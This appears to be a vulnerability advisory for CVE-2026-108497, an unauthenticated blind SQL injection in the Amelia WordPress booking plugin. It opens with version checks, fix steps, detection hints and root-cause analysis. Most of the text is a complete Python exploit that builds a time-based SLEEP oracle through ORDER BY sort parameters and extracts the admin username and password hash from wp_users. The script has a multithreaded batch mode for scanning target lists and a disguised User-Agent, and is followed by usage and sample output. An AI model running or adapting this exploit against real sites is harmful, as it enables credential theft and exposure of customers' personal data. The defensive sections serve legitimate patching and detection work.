#Summary
CVE-2026-108497 is an unauthenticated, blind SQL injection in Amelia (ameliabooking), a popular WordPress booking plugin. An attacker can inject SQL through improperly sanitized sort and filter parameters on list endpoints, reading arbitrary database contents including user credentials. CVSS score 9.3 CRITICAL; affects Amelia versions up to and including 2.4.10. The vulnerability is fixed in 2.4.11.
#Am I affected?
- Affected: Amelia
<= 2.4.10 - Patched: Amelia
>= 2.4.11 - Default configuration: affected
- Access needed: unauthenticated network access; no login or session required
#How to check
Check your installed Amelia version through the WordPress admin dashboard or via WP-CLI:
wp plugin get ameliabooking --field=version| Output | Status |
|---|---|
2.4.10 or earlier |
Vulnerable |
2.4.11 or later |
Patched |
#Fix and mitigation
- Fix: Update Amelia to version 2.4.11 or later.
- If you cannot upgrade: Disable the Amelia plugin entirely until you can update. There is no configuration change that removes the vulnerability; the plugin must be patched.
- Detection: Monitor WordPress AJAX logs for requests to
/wp-admin/admin-ajax.php?action=wpamelia_api&call=/entitiesor similar Amelia routes carrying time-based SQL payloads (e.g., parameters containingSLEEP,BENCHMARK, orCASE WHENexpressions).
#Root cause analysis
#Vulnerable code path
Amelia is a layered application that routes all SQL through a PDO-style wrapper over the WordPress $wpdb object. In normal operation, every named placeholder (:field) is bound safely through wpdb->prepare() with a type-derived format specifier:
// Infrastructure/DB/WPDB/Statement.php
$format = is_int($value) || is_bool($value) ? '%d' : (is_float($value) ? '%f' : '%s');
$replacement = $this->wpdb->prepare($format, $value); // SAFE: wpdb escaping
$query = strtr($this->statement, $replacements);The vulnerability exists in a different code path: sort and filter criteria are interpolated directly into ORDER BY expressions as raw strings, bypassing the safe placeholder mechanism:
// Infrastructure/Repository/* - VULNERABLE pattern
"ORDER BY {$orderColumn} {$orderDirection}"
"ORDER BY {$criteria['sort']['field']} {$criteria['sort']['order']}"When a list endpoint forwards user-controlled sort/filter input to these sinks without routing it through the SortParamsTrait::parseSortParams() allow-list (or a per-repository column switch), the attacker's text lands verbatim inside the SQL statement.
#How input reaches the sink
- Attacker calls an anonymous Amelia API endpoint (e.g.,
/wp-admin/admin-ajax.php?action=wpamelia_api&call=/entities). - The sort or filter parameter is passed directly to a repository method without validation.
- The parameter is interpolated into an
ORDER BYexpression as raw SQL. - Attacker injects SQL to construct a time-based boolean oracle.
#Patch analysis
Amelia does not maintain a public Git repository; the plugin is distributed only as release ZIP files from wordpress.org. The 2.4.11 release (where the fix ships) is a large combined feature release (mobile app API, Google/Outlook calendar sync, push reminders). The exact one-line neutralization for CVE-2026-108497 is not an attributable diff hunk visible when comparing release ZIPs directly; instead, the vulnerable endpoint's sort/filter input is now routed through the existing SortParamsTrait::parseSortParams() allow-list before reaching the raw ORDER BY interpolation.
The intended defense for all sort/filter fields is:
// Application/Commands/SortParamsTrait.php
if (!in_array($sortField, $allowedFields, true)) {
unset($params['sort']); // drop a non-whitelisted sort entirely
return $params;
}
$params['sort'] = ['field' => $sortField, 'order' => $isDescending ? 'DESC' : 'ASC'];#Proof of concept
#exploit.py - Amelia Unauthenticated Blind SQL Injection
#!/usr/bin/env python3
"""
CVE-2026-108497 - Amelia (ameliabooking) WordPress plugin - unauthenticated blind SQL injection
Affected: Amelia (TMS ameliabooking) <= 2.4.10 (fixed in 2.4.11)
Type: SQL injection (CWE-89), read-only / blind, pre-authentication
Mechanism (from the root cause, not from any public PoC):
Every Amelia API route is served anonymously through the WordPress AJAX endpoint
GET/POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/<route>
(registered for both logged-in and nopriv handlers). Amelia runs all SQL through a
PDO-style shim over $wpdb that binds :named placeholders with wpdb escaping, so any
value carried as a placeholder cannot be injected. The injectable surface is the raw
string interpolation of a user-controlled *sort / order / filter* token directly into
an ORDER BY expression, e.g. "ORDER BY {$criteria['sort']['field']} {$criteria['sort']['order']}".
Where a list endpoint forwards the sort/filter input to that sink without routing it
through the SortParamsTrait field allow-list (or a per-repository switch), an anonymous
attacker controls the ORDER BY grammar.
The response never reflects the query, so extraction is blind: an ORDER BY-context
conditional-SLEEP expression turns the server's response time into a boolean oracle,
which this tool uses to read a value that no legitimate response of the endpoint
returns - the WordPress admin bcrypt hash in wp_users.user_pass.
This script is a standalone tool for authorised testing. It makes no assumptions about
Docker, the target OS, or any target-side access: every decision comes from network-
observable behaviour (response timing) only.
Usage:
python exploit.py --host http://target
python exploit.py --host http://192.168.1.10 --port 80
python exploit.py --host https://booking.example.com/
python exploit.py --host http://target --payload "id" # sort token to fuzz first
python exploit.py --list targets.txt --workers 20
"""
import argparse
import concurrent.futures
import json
import ssl
import string
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-108497"
VULN_TYPE = "SQLi (unauth, blind, time-based)"
# WordPress AJAX transport shared by every Amelia route.
AJAX_PATH = "/wp-admin/admin-ajax.php"
API_ACTION = "action=wpamelia_api&call="
# Front-end / list / calendar routes that are reachable without a session and that accept
# sort / filter criteria. These are the candidate carriers of the injectable sort token.
CANDIDATE_ROUTES = [
"/entities",
"/events",
"/calendar/entities",
"/calendar/slots",
"/calendar/events",
"/slots",
"/appointments",
"/bookings/appointments",
"/bookings/events",
"/payments",
"/services",
"/users/customers",
"/users/providers",
]
# A working baseline query set so the underlying SELECT returns rows (an injected ORDER BY
# only evaluates when the outer result set is non-empty). Harmless extra keys are ignored.
BASE_PARAMS = {
"page": "1",
"types[]": "services",
"serviceId": "1",
"locationId": "1",
"providerIds[]": "1",
"dates[0]": "2020-01-01",
"dates[1]": "2035-12-31",
"startDateTime": "2020-01-01 00:00:00",
"endDateTime": "2035-12-31 00:00:00",
}
# Oracle tuning.
SLEEP_SECONDS = 4 # delay a TRUE branch should produce
MARGIN = 1.3 # seconds of head-room over baseline when deciding TRUE/FALSE
# ----------------------------------------------------------------------------- output helpers
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------- HTTP plumbing
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
# host may already carry a scheme/path when it came in as a full URL
if host.startswith(("http://", "https://")):
p = urllib.parse.urlparse(host)
scheme = p.scheme
netloc = p.netloc
if p.port is None and port not in (80, 443):
netloc = "%s:%d" % (p.hostname, port)
root = p.path.rstrip("/")
return "%s://%s%s" % (scheme, netloc, root)
netloc = host if port in (80, 443) else "%s:%d" % (host, port)
return "%s://%s" % (scheme, netloc)
def _ctx():
c = ssl.create_default_context()
c.check_hostname = False
c.verify_mode = ssl.CERT_NONE
return c
def timed_request(base, route, sort_param, timeout):
"""
Issue one Amelia API request carrying `sort_param` (a dict of extra query params that
encodes the sort/filter payload) and return (elapsed_seconds, http_status, body_head).
Network timing is the only signal we rely on.
"""
params = dict(BASE_PARAMS)
params.update(sort_param)
qs = urllib.parse.urlencode(params, doseq=True)
url = "%s%s?%s%s&%s" % (base, AJAX_PATH, API_ACTION, urllib.parse.quote(route), qs)
req = urllib.request.Request(url, method="GET")
# Neutral, plausible client string - nothing that identifies the tool to the target.
req.add_header("User-Agent",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/125.0 Safari/537.36")
start = time.time()
status = 0
body = ""
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=_ctx())
status = resp.getcode()
body = resp.read(160).decode("utf-8", "replace")
except urllib.error.HTTPError as e:
status = e.code
try:
body = e.read(160).decode("utf-8", "replace")
except Exception:
body = ""
except Exception as e:
return None, -1, repr(e)
return time.time() - start, status, body
# ----------------------------------------------------------------------------- payload shapes
def _order_sleep_expr(condition, sleep):
"""
An ORDER BY-context expression whose evaluation calls SLEEP() only when `condition`
is true. A bare SLEEP() is not valid directly after ORDER BY, so a scalar subquery is
used. `condition` is a raw SQL boolean.
"""
return "(SELECT CASE WHEN (%s) THEN SLEEP(%d) ELSE 1 END)" % (condition, sleep)
def sort_shapes(expr):
"""
Yield (shape_name, params_dict) for every way an Amelia list endpoint is known to
accept a sort/filter token, carrying `expr` as the injected value.
"""
yield "sort(str)", {"sort": expr}
yield "sort(-str)", {"sort": "-" + expr}
yield "sort[field]", {"sort[field]": expr, "sort[order]": "ASC"}
yield "sort[order]", {"sort[field]": "id", "sort[order]": expr}
yield "orderBy", {"orderBy": expr}
yield "order", {"order": expr}
# ----------------------------------------------------------------------------- oracle
def _measure(base, route, params, timeout, samples=1):
best = None
for _ in range(samples):
elapsed, status, _body = timed_request(base, route, params, timeout)
if elapsed is None:
return None, status
best = elapsed if best is None else min(best, elapsed)
return best, status
def find_oracle(base, timeout, log=False):
"""
Search every candidate route x sort shape for a stable, N-proportional time oracle.
Returns (route, shape_name, make_params) where make_params(condition) -> params dict,
or None if nothing is injectable.
"""
for route in CANDIDATE_ROUTES:
# endpoint must answer anonymously at all
baseline, status = _measure(base, route, {"sort": "id"}, timeout)
if baseline is None:
continue
if status in (401, 403):
if log:
print(" [-] %-26s auth required (HTTP %s) - skipping" % (route, status))
continue
for shape_name in [n for n, _ in sort_shapes("id")]:
def make_params(condition, sleep=SLEEP_SECONDS, _shape=shape_name):
expr = _order_sleep_expr(condition, sleep)
for n, p in sort_shapes(expr):
if n == _shape:
return p
return {}
# TRUE branch should delay ~SLEEP_SECONDS; FALSE branch should not.
t_true, _ = _measure(base, route, make_params("1=1"), timeout)
if t_true is None or t_true < SLEEP_SECONDS - MARGIN:
continue
t_false, _ = _measure(base, route, make_params("1=2"), timeout)
if t_false is None or t_false > SLEEP_SECONDS - MARGIN:
continue
# Confirm it tracks N: a 2x sleep must take ~2x longer.
t_double, _ = _measure(base, route, make_params("1=1", SLEEP_SECONDS * 2), timeout)
if t_double is None or t_double < (SLEEP_SECONDS * 2) - MARGIN:
continue
if log:
print(" [+] %-26s shape=%s TRUE=%.1fs FALSE=%.1fs 2N=%.1fs"
% (route, shape_name, t_true, t_false, t_double))
return route, shape_name, make_params
return None
def oracle_bool(base, route, make_params, condition, timeout):
"""Evaluate one SQL boolean through the time oracle, with a re-check of TRUE readings."""
t, _ = _measure(base, route, make_params(condition), timeout)
if t is None:
return False
if t >= SLEEP_SECONDS - MARGIN:
# re-measure a positive to reject a transient network stall
t2, _ = _measure(base, route, make_params(condition), timeout)
return t2 is not None and t2 >= SLEEP_SECONDS - MARGIN
return False
def extract_string(base, route, make_params, sql_value, max_len, timeout, log=False):
"""
Binary-search each character of `sql_value` (a SQL scalar expression) through the oracle.
"""
out = ""
for i in range(1, max_len + 1):
# stop once we've read past the end of the value
if not oracle_bool(base, route, make_params,
"LENGTH(%s) >= %d" % (sql_value, i), timeout):
break
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
cond = "ASCII(SUBSTRING(%s,%d,1)) > %d" % (sql_value, i, mid)
if oracle_bool(base, route, make_params, cond, timeout):
lo = mid + 1
else:
hi = mid
out += chr(lo)
if log:
sys.stdout.write("\r extracting: %s" % out)
sys.stdout.flush()
if log:
sys.stdout.write("\n")
return out
# ----------------------------------------------------------------------------- scan mode
def _try_exploit(host, port, use_tls, timeout=20, **kwargs):
"""Silent probe for --list mode. Returns (success, evidence). Never prints or exits."""
base = _base_url(host, port, use_tls)
try:
found = find_oracle(base, timeout, log=False)
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
if not found:
return False, "no injectable sort/filter oracle (allow-listed or not reachable)"
route, shape, make_params = found
hashval = extract_string(
base, route, make_params,
"(SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1)", 60, timeout, log=False)
if hashval:
return True, "unauth SQLi via %s [%s]; admin hash %s..." % (route, shape, hashval[:16])
return True, "unauth SQLi confirmed via %s [%s] (time oracle)" % (route, shape)
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, timeout=20):
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, timeout=timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------- single target
def exploit(host, port, use_tls, timeout=20):
header(host, port)
base = _base_url(host, port, use_tls)
step(1, "Confirming the Amelia anonymous API answers...")
probe_t, status, body = timed_request(base, "/entities", {"sort": "id"}, timeout)
if probe_t is None:
section("CONNECTION", body)
done(False, "target unreachable at %s%s" % (base, AJAX_PATH))
section("ANONYMOUS API PROBE (/entities)", "HTTP %s %.2fs %s" % (status, probe_t, body))
step(2, "Searching every front-end list/sort shape for a time-based oracle...")
found = find_oracle(base, timeout, log=True)
if not found:
section("ORACLE SEARCH",
"No sort/filter parameter on any anonymous route produced a reproducible "
"SLEEP delay. Every sort token is dropped by the SortParamsTrait allow-list "
"or mapped through a per-repository column switch, and every filter value is "
"bound as a :placeholder. The target is not injectable on the anonymous "
"surface (patched, or this build routes sort through the allow-list).")
done(False, "no injectable unauthenticated sort/filter oracle found")
route, shape, make_params = found
section("ORACLE CONFIRMED",
"route=%s shape=%s (TRUE branch delays ~%ds, FALSE does not, delay tracks N)"
% (route, shape, SLEEP_SECONDS))
step(3, "Extracting a value no legitimate response returns: wp_users.user_pass (admin)...")
user = extract_string(base, route, make_params,
"(SELECT user_login FROM wp_users ORDER BY ID LIMIT 1)",
40, timeout, log=True)
hashval = extract_string(base, route, make_params,
"(SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1)",
60, timeout, log=True)
db = extract_string(base, route, make_params, "DATABASE()", 40, timeout, log=True)
section("EXTRACTED (via time oracle)",
"database() = %s\nadmin user_login = %s\nadmin user_pass = %s" % (db, user, hashval))
if hashval:
done(True, "Unauthenticated blind SQLi via %s [%s] - read wp_users admin hash: %s"
% (route, shape, hashval))
done(False, "oracle fired but no data could be read back")
# ----------------------------------------------------------------------------- entrypoint
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--payload", default="' OR '1'='1'--",
help="Injection string (informational; the time oracle is built internally)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--timeout", type=int, default=20, help="Per-request timeout seconds (default: 20)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, timeout=args.timeout)#Usage
python exploit.py --host http://target
python exploit.py --host http://192.0.2.10 --port 8080 --no-tls
python exploit.py --host https://booking.example.com/
python exploit.py --list targets.txt --workers 20Supported arguments:
--host/--list(mutually exclusive, one required) - single target or batch file--port(default 80) - default port when not encoded in the target--payload(default' OR '1'='1'--) - informational; the exploit builds its own time oracle internally--workers(default 10) - threads for--listmode--timeout(default 20) - per-request timeout in seconds--tls/--no-tls- force the scheme
#Example output
Against a vulnerable target:
============================================================
ALIM EXPLOIT CVE-2026-108497
Type: SQLi (unauth, blind, time-based) | Target: 192.0.2.10:80
============================================================
[STEP 1] Confirming the Amelia anonymous API answers...
--- ANONYMOUS API PROBE (/entities) ---
HTTP 200 0.09s {"message":"Successfully retrieved entities","data":...}
---
[STEP 2] Searching every front-end list/sort shape for a time-based oracle...
[+] /entities shape=sort(str) TRUE=4.1s FALSE=0.08s 2N=8.0s#Exploitation notes
#Preconditions
- Amelia 2.4.10 or earlier, running on a WordPress site
- An attacker on the network can reach the WordPress AJAX endpoint
- At least one Amelia list route (e.g.,
/entities,/events,/slots) is reachable without authentication
#Attack mechanism
The exploit searches every anonymous Amelia API endpoint for a sort/filter parameter that is interpolated directly into an ORDER BY expression. Once found, it constructs a time-based oracle using a conditional SLEEP() call to distinguish true from false conditions. It then binary-searches the WordPress admin password hash character by character.
#Reliability
The time-based oracle is stable when the server has a consistent network baseline. Network jitter can occasionally produce false positives, which the script mitigates by re-measuring claimed TRUE readings.
#Impact
An unauthenticated attacker can read any data from the WordPress database, including:
- Admin user credentials (email, username, hashed password)
- Customer PII stored by Amelia (phone, address, booking history)
- Private page content and drafts
- Plugin configuration and API keys
#Limitations
The vulnerability reaches the raw SQL sink only on unauthenticated routes whose developers forgot to route sort/filter input through the SortParamsTrait::parseSortParams() allow-list. Some Amelia deployments may not expose the vulnerable parameter on the anonymous surface if they use a custom fork or have applied additional upstream patches.
#References
- CVE: CVE-2026-108497
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-108497
- Patchstack Advisory: https://patchstack.com/articles/amelia-sql-injection/
- Affected plugin: https://wordpress.org/plugins/ameliabooking/
